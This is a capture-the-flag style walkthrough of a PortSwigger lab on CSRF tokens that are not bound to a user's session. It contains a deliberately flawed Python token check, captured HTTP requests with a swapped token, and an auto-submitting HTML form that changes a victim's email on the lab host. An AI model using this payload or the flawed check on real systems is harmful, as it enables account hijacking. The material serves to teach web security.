CSRF where token is not tied to user session
CSRF where token is not tied to user session
Platform: PortSwigger | Category: CSRF | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, CSRF
Summary
Walkthrough of the PortSwigger Web Security Academy lab CSRF where token is not tied to user session (CSRF). This lab demonstrates a csrf vulnerability and its exploitation to achieve the lab objectives.
Lab Overview
PortSwigger Web Security Academy — CSRF
This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.
Lab Description :
Overview :
Some applications do not validate that the token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool.
In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack.
Faulty appplication logic might look like,
python read-only • copy alloweddef validate_token(): if request.csrf_token: if (request.csrf_token in valid_csrf_tokens): pass else: throw_error("CSRF token incorrect. Request rejected.") [...] def process_state_changing_action(): validate_token()
Solution :
If the csrf token is not tied to a user's session, then we can provide any other valid csrf token of other user. Reason behind is that the server only checks if the token is valid and not checking whether the token belongs to that user or not.
Let's now login as wiener & get his csrf token -
When we update email of wiener, we can see the csrf token of wiener in the request.
http read-only • copy allowedPOST /my-account/change-email HTTP/2 Host: 0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net Cookie: session=9PB8Veq3lkJHgs2D4HZnfvUKuJOGvxnd User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 61 Origin: https://0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net Referer: https://0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net/my-account?id=wiener Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers email=wiener%40user.net&csrf=6Wy58vHSJAKJJdZzmwioYeLDCxGeexP4
- Wiener's csrf token -
6Wy58vHSJAKJJdZzmwioYeLDCxGeexP4
Now we can login as montoya to get her csrf token -
Login to carlos's account in a incognito tab.
http read-only • copy allowedPOST /my-account/change-email HTTP/2 Host: 0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net Cookie: session=x4B7o8ZwRIVNSEkvEiyDDuuJ2dQEmqHI User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 59 Origin: https://0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net Referer: https://0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net/my-account?id=carlos Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers email=test%40user.net&csrf=V7b2azJ1ChGis7L0p2dCyFazJpCWoFMP
- Carlos's csrf token -
V7b2azJ1ChGis7L0p2dCyFazJpCWoFMP
Now we should try to change the value of carlos's csrf token & replace it with wiener's.
http
POST /my-account/change-email HTTP/2
Host: 0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net
Cookie: session=x4B7o8ZwRIVNSEkvEiyDDuuJ2dQEmqHI
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: https://0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net
Referer: https://0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net/my-account?id=carlos
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
email=test%40user.net&csrf=6Wy58vHSJAKJJdZzmwioYeLDCxGeexP4
Now generate CSRF POC and deliver it to victim via exploit server.
html read-only • copy allowed<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="pwned@user.net" /> <input type="hidden" name="csrf" value="6Wy58vHSJAKJJdZzmwioYeLDCxGeexP4" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
Thus we solved the lab,
Key Takeaways / Lessons
- Understanding CSRF detection and exploitation is crucial for web security.
- Always validate and sanitize user input; implement proper access controls.
- This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.
Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: CSRF where token is not tied to user session